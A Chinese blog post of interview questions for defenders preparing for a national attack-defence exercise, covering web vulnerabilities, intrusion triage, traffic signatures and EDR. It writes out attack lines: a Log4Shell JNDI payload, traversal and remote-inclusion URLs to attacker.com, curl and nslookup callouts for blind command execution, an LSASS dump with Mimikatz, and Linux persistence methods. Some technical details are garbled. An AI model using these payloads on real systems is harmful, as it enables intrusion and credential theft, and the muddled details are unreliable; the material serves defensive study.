前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >HW前必看的面试经(1)

HW前必看的面试经(1)

原创
作者头像
zhouzhou的奇妙编程
发布2024-06-21 23:58:47
1090
发布2024-06-21 23:58:47

马上今年hw即将来袭,蓝队兄弟们又得苦战了,这里本人参与并且跟朋友交流后整理了一些面试时的常见问题,在此整理成文,希望能帮助即将参与HW的蓝队兄弟们更好地备战,从容应对挑战,本文为周周在腾讯社区首发。

1.文件上传漏洞的原理是什么?

文件上传漏洞是一种常见的网络安全漏洞,它发生在Web应用程序中,允许攻击者上传恶意文件到服务器,进而可能执行恶意代码、控制服务器或造成其他安全威胁。

原理概述

  1. 功能设计缺陷:许多Web应用提供文件上传功能,允许用户上传图片、文档等。如果应用程序在实现时没有对上传文件的类型、内容、大小或目的位置进行充分的验证和过滤,就可能被滥用。
  2. 绕过验证:攻击者会尝试通过修改文件名、文件内容或利用Web应用代码的逻辑缺陷,绕过服务器端的文件类型检查。例如,将恶意脚本文件(如.php、.jsp)伪装成图片文件(.jpg)上传。
  3. Web服务器解析漏洞:即使文件被上传到了非执行目录,某些Web服务器的解析机制(如Apache的mod_mime_magic或IIS的解析漏洞)可能会错误地解析文件,使得上传的恶意脚本得以执行。
  4. 权限问题:如果上传的文件保存在Web可访问目录下,并且服务器配置不当赋予了执行权限,恶意脚本即可被执行。

实际案例

假设有一个社交平台,允许用户上传个人头像。该平台仅简单检查文件扩展名是否为图像格式(如.jpg、.png),但未对文件内容进行检查,也没有实施严格的访问控制策略。

攻击步骤

  1. 绕过验证:攻击者将一个包含恶意PHP代码的文件(如exploit.jpg.php)重命名,仅保留.jpg扩展名,然后通过修改HTTP请求中的Content-Type头部,欺骗服务器认为这是一个图像文件。
  2. 上传恶意文件:利用Web应用的文件上传功能,上传这个伪装后的文件。由于服务器只检查文件扩展名,该文件顺利通过验证并被保存。
  3. 利用解析漏洞:如果Web服务器存在解析漏洞,即使文件名为.jpg,服务器也可能尝试按照PHP文件解析它,尤其是在文件路径被精心构造的情况下(例如,通过目录遍历漏洞访问文件)。
  4. 执行恶意代码:一旦恶意PHP代码被执行,攻击者就可以在服务器上执行任意命令,窃取数据、植入后门,甚至完全控制服务器。

防御措施

  • 验证文件类型和内容:不仅检查文件扩展名,还要通过MIME类型检查或文件头验证确保文件内容与声明类型相符。
  • 重命名和移动文件:上传后自动重命名文件并将其存储在不可直接Web访问的目录下,减少直接执行的风险。
  • 限制文件访问权限:确保上传的文件没有执行权限。
  • 使用安全沙箱或容器化:运行Web应用在受限环境中,减少恶意文件的影响范围。
  • 定期安全审计和更新:及时修补Web服务器和应用框架的已知漏洞,避免解析漏洞被利用。

2.Linux被入侵了常见排查命令有哪些?

查看当前登录用户

  • 命令:w, who, whoami
  • 用途:显示当前系统中所有登录的用户、他们从哪里登录、登录时间以及正在执行的进程。这有助于发现未知或可疑的用户活动。
  • 实际案例:若发现有来自不寻常IP地址的登录记录,尤其是管理员账户在非工作时间或非预期地点的登录,可能是入侵迹象。

检查历史登录记录

  • 命令:last, lastlog
  • 用途:查看用户的最近登录历史,包括登录时间和来源IP。可以帮助识别异常登录模式。
  • 实例:通过last | grep "root"检查root账户的登录历史,发现频繁或来自陌生IP的登录尝试。

分析系统日志

  • 命令:cat, less, grep用于查看 /var/log/auth.log(Ubuntu/Debian)、/var/log/secure(RHEL/CentOS)、/var/log/messages 或使用 journalctl(对于使用systemd的系统)
  • 用途:查找登录失败、权限变更、服务启动失败等日志条目,这些都可能是入侵的线索。
  • 实例:使用grep 'authentication failure' /var/log/auth.log查找失败的认证尝试。

检查系统进程

  • 命令:ps aux, top, htop, pstree
  • 用途:查看当前运行的进程,识别不正常的或未知的进程,特别是那些消耗大量资源的进程。
  • 实例:发现不明后台进程监听在非标准端口上,可能是恶意软件在运行。

网络连接检查

  • 命令:netstat -tulnp, ss -tulnp (对于较新的系统)
  • 用途:列出所有打开的网络连接和监听的端口,帮助识别未授权的服务或后门。
  • 实例:通过netstat -an | grep LISTEN发现有未知服务监听在3389端口,可能为远程桌面木马。

检查文件系统变更

  • 命令:find, diff
  • 用途:比如使用find /bin /usr/bin -type f -mtime -7查找过去7天内修改过的系统二进制文件,这可能是恶意软件篡改的结果。
  • 实例:发现/usr/bin/sshd文件的修改时间最近有变动,可能意味着SSH服务被替换了。

检查计划任务

  • 命令:crontab -l, ls -al /etc/cron*
  • 用途:查找是否有异常的定时任务,这些任务可能用于维持后门、下载恶意软件或执行其他恶意操作。
  • 实例:在/etc/cron.hourly中发现一个不明脚本,定时下载并执行未知程序。

检查用户和组

  • 命令:cat /etc/passwd, cat /etc/group
  • 用途:检查是否有新增的未知用户或用户组,这些可能是入侵者为了长期保持访问权限而创建的。
  • 实例:发现新增的用户backupuser,其shell路径被设定为/bin/bash而非预期的/sbin/nologin,表明可能被用于登录。

3.Shiro 组件有什么用?

Apache Shiro 是一个强大的 Java 安全框架,它简化了身份验证、授权、加密和会话管理等安全相关的复杂问题。Shiro 的核心在于它的三大组件,这些组件协同工作,为应用程序提供了一套全面的安全解决方案。下面详细说明每个组件的作用,并通过实际案例加以说明。

1. Subject

作用:

  • Subject 是 Shiro 的核心抽象,代表了当前与应用程序交互的“实体”,这个实体可以是用户、系统服务、设备等任何需要与应用进行安全上下文交互的对象。
  • 通过 Subject,开发者可以执行诸如登录、登出、检查权限等操作,而无需关心底层的实现细节。

实际案例: 比如一个在线教育平台,用户登录后才能观看课程视频或参与论坛讨论。在这个场景中,Subject 就代表了登录的用户,通过 Subject 的 login() 方法进行认证,通过 isPermitted() 方法检查用户是否有观看特定课程的权限。

2. SecurityManager(安全管理器)

作用:

  • SecurityManager 是 Shiro 的心脏,它是所有安全操作的中央管理者,负责协调各个组件,如执行认证、授权、会话管理等。
  • 它是所有 Subject 实例的后盾,Subject 的每个请求最终都会委托给 SecurityManager 处理。

实际案例:比如一个在线教育平台中,管理员试图访问后台管理界面。SecurityManager 在收到 Subject 发出的访问请求后,会根据事先配置的 Realm(认证和授权的数据源)来验证管理员的身份并检查其是否拥有访问后台的权限。

3. Realm

作用:

  • Realm 负责与应用程序的数据源进行交互,以执行认证(验证用户身份)和授权(决定用户能做什么)逻辑。
  • Shiro 支持多种类型的 Realm,如 JDBC Realm(数据库)、LDAP Realm(目录服务)、IniRealm(配置文件)等,可以根据实际需求选择合适的 Realm 实现。

实际案例: 比如一个在线教育平台为例,使用 JDBC Realm 存储用户凭证和角色权限。当用户尝试登录时,Realm 会查询数据库验证用户提供的用户名和密码是否匹配;用户访问特定资源时,Realm 再次查询数据库,判断用户角色是否拥有访问该资源的权限。

4.攻击Dmz区是什么原因?

攻击DMZ(Demilitarized Zone,非军事区)区的原因主要是因为DMZ区存放着面向公众开放、可以直接从互联网访问的服务器和服务,如Web服务器、邮件服务器、FTP服务器等。这些服务由于其公开性和必要性,成为了黑客攻击的重点目标。以下是攻击DMZ区的几个主要原因:

  1. 获取敏感信息:攻击者试图通过漏洞利用、弱口令猜测等方式,获取存放在DMZ区服务器上的敏感信息,如客户数据、公司文件等。虽然理想情况下,最敏感的数据应该存储在内网,但DMZ区仍可能存放一些具有价值的信息。
  2. 作为跳板:入侵DMZ区的服务器后,攻击者可能将其作为跳板,进一步渗透到内部网络。通过内部网络的横向移动,攻击者可以寻找更深层次的系统漏洞,企图达到控制核心服务器、窃取内部数据或发起拒绝服务攻击的目的。
  3. 服务中断:攻击者可能通过DDoS(分布式拒绝服务攻击)或其他方式使DMZ区的服务不可用,影响公司的业务运营和声誉。例如,攻击电子商务网站的Web服务器使其在购物高峰期无法访问。
  4. 恶意软件传播:攻击者可能会利用DMZ区的服务器作为恶意软件的分发点,向内网用户或者互联网上的其他用户传播病毒、木马等。

实际案例

  • Equifax数据泄露事件:虽然不是直接针对DMZ的攻击,但2017年的Equifax数据泄露事件展示了攻击者如何利用Web应用中的漏洞获取未经授权的访问权限,进而导致大量敏感数据(包括约1.47亿美国消费者的个人信息)被盗。虽然Equifax的具体网络架构未详细公布,但此类攻击强调了面向公众的系统(通常位于DMZ)中的漏洞可能带来的严重后果。
  • Apache Struts漏洞利用:2017年,Apache Struts框架的一个远程代码执行漏洞被广泛利用,攻击者通过该漏洞攻击了许多企业的Web服务器,这些服务器往往位于DMZ区。攻击者利用该漏洞获取服务器控制权,进而植入恶意软件、窃取数据或进行其他恶意操作。

通过这些案例可以看出,攻击DMZ区是黑客获取初始立足点、进一步渗透内网、窃取数据或造成服务中断的常见策略。因此,加强DMZ区的安全防护,如严格控制出入流量、定期更新与修补漏洞、实施入侵检测与防御系统、以及进行定期的安全审计,对于保护企业资产至关重要。

5.Log4j特征流量是什么?

Log4j特征流量是指在网络数据传输中,能够标识出利用Log4j漏洞进行攻击的数据包的特定模式或特征。Log4j漏洞,特别是2021年底被披露的Log4Shell(CVE-2021-44228)漏洞,引起了广泛关注,因为它允许攻击者通过精心构造的输入数据远程执行代码。这一漏洞影响了广泛使用Apache Log4j 2.x版本的应用程序和系统。

Log4j特征流量的典型特征包括:

JNDI注入Payload: Log4Shell漏洞主要通过JNDI(Java Naming and Directory Interface)注入来利用,因此特征流量中通常包含尝试利用JNDI查找机制的特殊字符串。例如,HTTP请求中可能含有以下形式的Payload:

代码语言:txt
复制
${jndi:ldap://${attacker-controlled-server}/Exploit}
  1. 特定User-Agent字符串: 攻击者可能在HTTP请求的User-Agent头部插入特定的字符串,以识别或过滤出利用Log4j漏洞的尝试。例如:"Log4j2" "Log4jAPI/2.0"
  2. LDAP或其它协议请求: 在网络流量中,可能会观察到指向攻击者控制的LDAP服务器或其他支持JNDI查找服务的请求,这些请求用于加载恶意代码或执行攻击者的指令。

6.weblogic反序列化有两种,分别是啥?

WebLogic反序列化漏洞是Java Web应用服务器Oracle WebLogic Server中的一个安全弱点,它允许攻击者通过发送精心构造的序列化数据来远程执行代码。WebLogic历史上出现过多种反序列化漏洞,但其中两种较为著名且被广泛讨论的是:

  1. WebLogic XMLDecoder反序列化漏洞: 这种漏洞主要出现在WebLogic Server的WLS组件中,涉及XMLDecoder类的不当使用。XMLDecoder是一种用于从XML文档中解码对象的Java类,如果它在处理不可信的XML数据时没有正确的验证和过滤,攻击者就可以构造特殊的XML数据,通过WebLogic的某些功能接口上传,导致反序列化过程执行恶意代码。比如CVE-2017-10271就是一个典型的例子,攻击者可以通过发送特定构造的SOAP请求,利用T3协议,触发WebLogic WLS组件中的XMLDecoder反序列化漏洞,从而执行任意命令。
  2. WebLogic 反序列化RMI远程代码执行漏洞: 这类漏洞通常与Java远程方法调用(RMI)服务有关,WebLogic的RMI服务在处理序列化数据时可能存在缺陷,攻击者可以发送特制的序列化数据到RMI注册表,利用不安全的反序列化操作执行任意代码。CVE-2018-2893是一个实例,它影响了WebLogic Server的Coherence组件,攻击者可以构造恶意的序列化对象,通过RMI接口发送,导致服务器执行攻击者控制的代码。

这两种漏洞的根本原因在于WebLogic在处理外部输入时缺乏足够的安全控制,尤其是对序列化数据的验证不足,使得攻击者能够构造恶意对象,利用Java反序列化机制执行任意代码。

7.文件包含原理是什么?

文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web应用程序安全漏洞,主要发生在动态网页编程中,尤其是使用PHP语言的环境中。其原理是,应用程序为了实现代码重用或动态加载不同内容,会使用文件包含功能来引入外部文件。然而,如果对用户提供的输入验证不足或过滤不当,攻击者就能通过精心构造的输入来控制被包含的文件路径,从而实现恶意目的。文件包含漏洞主要分为两类:

1. 本地文件包含(Local File Inclusion, LFI)

在本地文件包含中,攻击者利用漏洞读取服务器上的任意文件,包括但不限于配置文件(如数据库凭据、私钥等)、源代码文件等。这种攻击依赖于能够控制文件包含函数的参数,使之指向非预期的本地文件。例如,如果一个PHP脚本接受用户输入来包含一个模板文件:

代码语言:javascript
复制
Php1include($_GET['template']);

攻击者可以通过修改URL参数template../../../../etc/passwd来尝试读取Linux系统中的用户密码文件:

代码语言:javascript
复制
1http://example.com/index.php?template=../../../../etc/passwd

2. 远程文件包含(Remote File Inclusion, RFI)

远程文件包含允许攻击者从远程服务器加载并执行恶意代码。这要求Web服务器的配置允许通过URL包含文件,并且应用程序没有正确验证文件来源。PHP中,这通常需要allow_url_fopenallow_url_include配置项开启。例如,如果一个脚本像这样包含文件:

代码语言:javascript
复制
Php1include($_GET['page']);

攻击者可以提供一个恶意的URL作为参数,导致服务器执行远程服务器上的代码:

代码语言:javascript
复制
1http://example.com/index.php?page=http://attacker.com/malicious_code.php

实际案例

案例1:WordPress TimThumb插件漏洞 在2011年,WordPress中广泛使用的TimThumb图片缩放插件曝出了远程文件包含漏洞。攻击者利用此漏洞,通过精心构造的URL,使插件从恶意服务器下载并执行了PHP代码,导致大量网站被黑,植入恶意内容或被完全控制。

案例2:PHPStudy远程代码执行漏洞 2017年,PHPStudy集成环境软件曝出一处远程文件包含漏洞,攻击者可以利用该漏洞,通过包含一个远程的恶意PHP文件,从而在服务器上执行任意代码,最终达成控制服务器的目的。

这些案例显示,文件包含漏洞可以被攻击者用来窃取敏感信息、执行恶意代码、控制服务器,甚至作为进一步攻击内网的跳板。因此,开发人员在实现文件包含功能时,必须严格验证用户输入,确保只加载预期的、安全的文件,并考虑禁用或严格限制远程文件包含的功能。

8.linux权限维持该怎么做?

Linux权限维持是指攻击者在入侵Linux系统后,为了长期保持对系统的控制权,采取的一系列措施。这些措施旨在确保即使系统管理员进行常规维护或安全检查,也能悄无声息地保留访问权限。以下是一些常见的Linux权限维持手法及其实际应用示例:

1. 隐藏后门

  • 技术描述: 攻击者可以在系统中植入不易察觉的后门,比如通过修改系统二进制文件(如SSH服务),或者在启动项和服务中添加自启动脚本。
  • 实际案例: 修改/usr/bin/ssh,使其在执行时秘密验证特定的后门密码,同时确保原始功能不受影响,以避免引起怀疑。

2. 使用SUID权限

  • 技术描述: 设置SUID(Set User ID)权限,使得普通用户可以以文件所有者的权限(通常是root)运行某个程序。攻击者可以滥用此特性,留下一个可以随意执行的高权限程序。
  • 实际案例: 将一个自定义的shell脚本设置为SUID,使得任何用户执行该脚本时都具有root权限,从而可以执行任意命令。

3. 隐藏文件和修改文件属性

  • 技术描述: 使用chattr命令设置文件的不可更改属性(如i属性),使得即使是以root身份也无法删除或修改特定文件,从而隐藏后门脚本。
  • 实际案例: 对一个放置在/tmp目录下的恶意脚本执行chattr +i badscript.sh,即使管理员检查到该文件,也难以直接删除或修改。

4. 定时任务

  • 技术描述: 设置cron job(定时任务),定期执行恶意脚本,确保即使原后门被发现并清理,也能重新部署。
  • 实际案例: 添加一条cron作业,每天凌晨3点自动从远程服务器下载并执行新的后门代码,确保权限持续维持。

5. 替换系统日志和监控工具

  • 技术描述: 修改或替换系统日志记录和监控工具,删除或篡改关于攻击行为的记录,降低被发现的风险。
  • 实际案例: 修改/usr/bin/logrotate,使其在处理日志时忽略特定时间段内的记录,掩盖攻击活动的痕迹。

6. 利用SSH密钥

  • 技术描述: 在受害主机的.ssh/authorized_keys文件中添加自己的公钥,实现无需密码的SSH登录。
  • 实际案例: 在root账户的SSH授权密钥列表中悄悄添加自己的公钥,即使系统密码被更改,也能通过SSH密钥对重新获得访问权限。

9.fastjson漏洞原理是什么?

Fastjson是开源的一个高性能的Java语言的JSON库,用于序列化和反序列化JSON数据。Fastjson存在的漏洞主要与它的反序列化机制有关,特别是其AutoType特性,这一特性允许在反序列化过程中自动推断并创建对象的具体类型。以下是Fastjson漏洞的详细原理及一个实际案例说明:

漏洞原理

  1. AutoType机制:Fastjson在设计时引入了@type字段来指定反序列化的目标类型,这使得它能够根据JSON字符串中的提示自动确定要实例化的Java对象类型。此功能在提高灵活性的同时,也埋下了安全隐患。
  2. 黑名单绕过:Fastjson为防止恶意利用,设立了一个黑名单来禁止某些危险类型的反序列化,比如禁止直接反序列化为java.lang.Runtime等可能执行命令的类。但攻击者可以通过精心构造的JSON数据,利用未被列入黑名单的类或链式反序列化技巧,绕过黑名单限制。
  3. 链式反序列化:攻击者通过创建一系列的中间类,这些类在反序列化过程中会被依次实例化,并最终导向一个可执行命令或恶意操作的类。即便单个类被加入黑名单,通过巧妙的类链组合,仍可达成远程代码执行的目的。

实际案例

假设存在一个中间类MiddleClass,该类没有直接执行命令的能力,也不在Fastjson的黑名单中,但它有一个方法可以间接触发危险操作,比如调用另一个可执行命令的类的方法。攻击者构造如下的JSON数据:

代码语言:javascript
复制
Json1{
2    "@type": "com.example.MiddleClass",
3    "field": {
4        "@type": "another.vulnerable.Class",
5        // 这里可以是更多层级的嵌套,直到达到可以执行命令的类
6    }
7}

当Fastjson尝试反序列化这段JSON时,首先会实例化MiddleClass,然后继续反序列化其成员field,如果这一过程足够长且最终指向了可以执行命令的类,攻击者就可以通过这个链式过程实现远程代码执行。

10.冰蝎 哥斯拉的强特征?

冰蝎(Behinder)和哥斯拉(Godzilla)是两种常被用于网络攻击的WebShell工具,主要用于后渗透阶段,帮助攻击者在入侵目标系统后,实现对目标服务器的持久控制。它们各自具有一些明显的流量特征,这些特征可以被安全团队用来检测和防御这类攻击。下面详细说明它们的部分强特征:

冰蝎的特征:

  1. 动态加密通信:冰蝎使用动态加密技术对通信流量进行加密,以逃避传统的安全设备检测。在冰蝎3中,动态密钥获取被取消,仅在无动态密钥交互失败后,才进入常规的密钥交互阶段。
  2. 特定请求模式:冰蝎的流量可能包含特定的请求结构,如POST请求到特定的WebShell脚本路径,如/hackable/uploads/shell.php,且可能携带特定参数,如pass=300
  3. Base64编码的Payload:请求体中经常包含Base64编码的数据,用于传递控制命令或数据。此外,可能存在特定的字符串如QGluaV9zZXQo@ini_set,这些都是用于执行命令或配置改变的指示符。
  4. Cookie特征:早期版本中,Cookie中可能包含有特定的分号结尾的字符串,作为与WebShell通信的一部分,尽管这可能在后续版本中被修复。

哥斯拉的特征:

  1. MD5分割编码:哥斯拉的响应数据中,一个32位的MD5字符串会被分割为两半,分别放置在Base64编码数据的前后两端,形成特有的响应包结构,即md5前十六位+base64编码数据+md5后十六位
  2. Base64编码的Payload:与冰蝎类似,哥斯拉的请求中也可能包含Base64编码的负载,用于传递命令或数据。
  3. 特定关键字:请求体中可能含有assert eval等特征字符,这些字符与动态执行代码的功能相关联。
  4. 动态DNS和端口扫描:为逃避追踪,连接服务器的IP地址可能通过动态DNS转换,且连接端口不固定,通常需要扫描20000-30000端口范围来检测哥斯拉的活动。

11.Win11怎么抓取Lsass进程?

在Windows 11系统中抓取Lsass(Local Security Authority Subsystem Service)进程的内存通常是为了进行安全审计、漏洞研究或是调查潜在的安全事件。然而,直接抓取Lsass进程的内存是比较复杂的,因为Lsass是高度敏感的核心系统进程,它存储了如登录凭据和系统安全信息等敏感数据。因此,任何试图访问其内存的行为都必须谨慎处理,确保合法合规,并且最好在安全测试或故障排查的受控环境中进行。

使用Procdump抓取Lsass进程的DMP文件

  1. 准备工具:首先,你需要下载Sysinternals Suite中的Procdump工具,这是一个由微软提供的高级系统诊断工具集。确保下载适用于你系统架构(x86或x64)的版本。
  2. 以管理员身份运行命令提示符:为了有足够的权限抓取Lsass进程,你需要在命令提示符中以管理员身份运行。右击“开始”按钮,选择“Windows 终端(管理员)”或“命令提示符(管理员)”。
  3. 使用Procdump抓取DMP文件:在命令行中输入以下命令来抓取Lsass进程的完整内存转储。此命令会创建一个名为lsass_dump.dmp的文件。 1procdump64 -accepteula -ma lsass.exe lsass_dump.dmp -accepteula 参数表示接受Procdump的许可协议,-ma 参数表示创建一个完整的内存转储。
  4. 分析DMP文件:抓取完成后,你可以使用像WinDbg这样的调试工具来分析lsass_dump.dmp文件。在安全研究中,分析者可能会寻找密码哈希、认证令牌或其他敏感信息,但这需要专业的知识和工具,如Mimikatz。

在安全研究和渗透测试中,研究人员有时会使用上述方法来分析Lsass内存,以评估系统的安全状况,例如查找是否有可能被Pass-the-Hash攻击利用的凭证。一个常见的用途是利用Mimikatz工具从DMP文件中提取明文密码或NTLM哈希值,以便进行后续的安全测试或密码破解尝试。

12.命令执行无回显流量处理方式

命令执行无回显流量处理是指在进行命令注入攻击时,当目标系统不会直接返回命令执行结果的情况下的处理策略。这种情况下,攻击者无法直接看到命令执行的输出,因此需要采用间接方法验证命令是否执行成功以及获取执行结果。以下是一些常见的处理方式:

  1. 延时判断法: 当向目标注入命令时,可以在命令末尾添加延时指令,如 sleep 5(在Linux环境下),这样如果页面加载或响应时间明显增加,则可以推断命令已被执行。例如,通过注入 1=ping -c 1 example.com & sleep 5 判断是否成功执行了ping命令。
  2. HTTP请求法: 利用注入的命令发起对外的HTTP请求到攻击者控制的服务器。例如,使用 curl http://attacker.com/log,攻击者在自己的服务器上记录访问日志,以此验证命令执行并收集可能的输出信息。
  3. DNS请求法: 注入命令执行DNS查询到攻击者控制的DNS服务器。例如,使用 nslookup attacker-controlled-domain.comdig attacker-controlled-domain.com。攻击者可以通过监控DNS日志来判断命令是否被执行,以及通过子域名请求来传递数据。
  4. 文件读写法: 在目标系统上写入或修改文件,然后通过其他途径(如网页浏览、错误信息等)查看文件内容。例如,执行 echo "COMMAND_EXECUTED" > /tmp/output.txt,之后通过其他漏洞或功能读取该文件内容。
  5. 网络监听法: 利用Netcat (nc) 或类似的工具,在目标系统上监听特定端口,然后从外部向该端口发送数据或命令,通过监听端口的响应判断命令执行情况。例如,先在目标系统执行 nc -lvp 8888 > output.txt,然后从攻击机向该端口发送数据。

实际案例: 在DVWA(Damn Vulnerable Web Application)的高难度命令执行场景中,用户可以通过注入命令无回显的方式,利用DNS请求法验证命令执行。攻击者首先注册一个支持DNS日志记录的域名(如使用Ceye.IO服务),然后通过注入命令如 nslookup subdomain.ceye.io,在Ceye.IO的DNS日志中观察到请求记录,以此证明命令已成功执行,并且可以通过子域名的变化传递数据。

13.shiro的流量特征?

Apache Shiro 是一个流行的Java安全框架,它用于处理身份验证、授权、会话管理和加密等功能。在流量分析的上下文中,Shiro的特定行为和配置可能会影响网络通信的特征,特别是当涉及到其“记住我”(Remember Me)功能时,这往往成为安全研究人员关注的焦点。以下是Shiro流量的一些特征:

  1. Remember Me Cookie: Shiro 提供了“记住我”功能,允许用户在关闭浏览器后仍然保持登录状态。这一功能会在客户端设置一个名为 rememberMe 的Cookie。该Cookie值经过加密处理,通常使用AES加密并进行Base64编码。在流量分析中,可以看到HTTP请求头中包含这个加密后的Cookie值。例如,流量捕获工具中可能会显示类似 rememberMe=AQIC... 的Cookie。
  2. 流量特征识别: 分析Shiro流量的一个关键点是识别是否使用了Shiro框架。攻击者或安全审计员可能会通过设置特定的测试Cookie值(如 rememberMe=1)并观察服务器的响应来判断。如果应用返回了Set-Cookie头部,表明应用使用了Shiro,并且可能尝试进一步探索是否存在已知漏洞。
  3. 流量分析与漏洞利用: 特别是在分析Shiro的漏洞利用时,如CVE-2016-4437,该漏洞允许攻击者通过“记住我”功能实现反序列化攻击。在这种情况下,流量特征可能包括精心构造的Cookie值,这些值包含了被编码和加密的恶意对象,旨在触发远程代码执行。攻击流量中可能含有特定的Base64编码字符串或特定的加密前缀,这些特征可以作为识别潜在攻击的线索。
  4. 会话管理流量: Shiro还负责会话管理,因此在网络流量中可能观察到与会话创建、维护和销毁相关的HTTP请求和响应。这些流量可能包含会话ID(Session ID)的交换,以及与会话状态变更相关的特定HTTP状态码和头部信息。

实际案例佐证:

  • 在CVE-2016-4437的案例中,攻击者利用Shiro的Remember Me功能中的反序列化漏洞,通过精心构造的Cookie值,在目标系统的Shiro环境中触发了远程代码执行。流量分析中,安全研究人员注意到异常的Cookie值和特定的流量模式,这些模式与利用该漏洞的尝试相吻合。通过解密并分析这些Cookie值,可以揭示出攻击者试图注入的恶意对象结构。
  • 在渗透测试和红队行动中,安全专家使用自动化工具(如BTEAM-SHIRODECRYPTER)来识别和解密Shiro Remember Me Cookie,以此来分析目标系统是否容易受到已知Shiro漏洞的影响。这些工具通过分析返回的Set-Cookie头部和记住我Cookie的加密内容,帮助识别潜在的漏洞利用点。

14.EDR是什么?

EDR,即Endpoint Detection and Response(端点检测与响应),是一种专注于端点安全的技术解决方案,主要设计用于增强企业的网络安全态势。它通过实时监控和分析端点(如桌面电脑、笔记本、服务器、移动设备等)上的活动,主动识别并响应潜在的威胁。与传统的防病毒软件相比,EDR提供了更深层次的防护,侧重于检测未知威胁、高级持续性威胁(APT)及内部威胁,并快速响应以减轻损害。

EDR的关键功能包括:

  1. 实时监控:不断监控端点上的活动,包括文件、进程、网络连接、注册表变化等,以发现异常行为。
  2. 威胁检测:利用签名匹配、行为分析、机器学习等技术识别已知和未知的威胁。
  3. 威胁响应:一旦检测到威胁,EDR能够自动隔离受感染设备、终止恶意进程、回滚恶意更改或提示管理员进行手动干预。
  4. 调查和分析:提供强大的调查工具,帮助安全团队追溯攻击链,理解攻击的来源、方法和目的。
  5. 数据采集与报告:收集并记录端点活动的详细信息,生成合规报告和威胁情报。
  6. 自动化和智能化:减少人工干预,通过预设规则和机器学习算法自动处理常见威胁。
  7. 威胁狩猎:允许安全分析师主动搜索网络中的隐藏威胁,而不只是被动响应警报。

我正在参与2024腾讯技术创作特训营最新征文,快来和我瓜分大奖!

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.文件上传漏洞的原理是什么?
    • 原理概述
      • 实际案例
        • 攻击步骤
      • 防御措施
      • 2.Linux被入侵了常见排查命令有哪些?
      • 3.Shiro 组件有什么用?
        • 1. Subject
          • 2. SecurityManager(安全管理器)
            • 3. Realm
              • Log4j特征流量的典型特征包括:
              • 1. 本地文件包含(Local File Inclusion, LFI)
              • 2. 远程文件包含(Remote File Inclusion, RFI)
              • 实际案例
              • 1. 隐藏后门
              • 2. 使用SUID权限
              • 3. 隐藏文件和修改文件属性
              • 4. 定时任务
              • 5. 替换系统日志和监控工具
              • 6. 利用SSH密钥
              • 漏洞原理
              • 实际案例
              • 冰蝎的特征:
              • 哥斯拉的特征:
              • 使用Procdump抓取Lsass进程的DMP文件
              • EDR的关键功能包括:
          • 4.攻击Dmz区是什么原因?
          • 5.Log4j特征流量是什么?
          • 6.weblogic反序列化有两种,分别是啥?
          • 7.文件包含原理是什么?
          • 8.linux权限维持该怎么做?
          • 9.fastjson漏洞原理是什么?
          • 10.冰蝎 哥斯拉的强特征?
          • 11.Win11怎么抓取Lsass进程?
          • 12.命令执行无回显流量处理方式
          • 13.shiro的流量特征?
          • 14.EDR是什么?
          相关产品与服务
          多因子身份认证
          多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档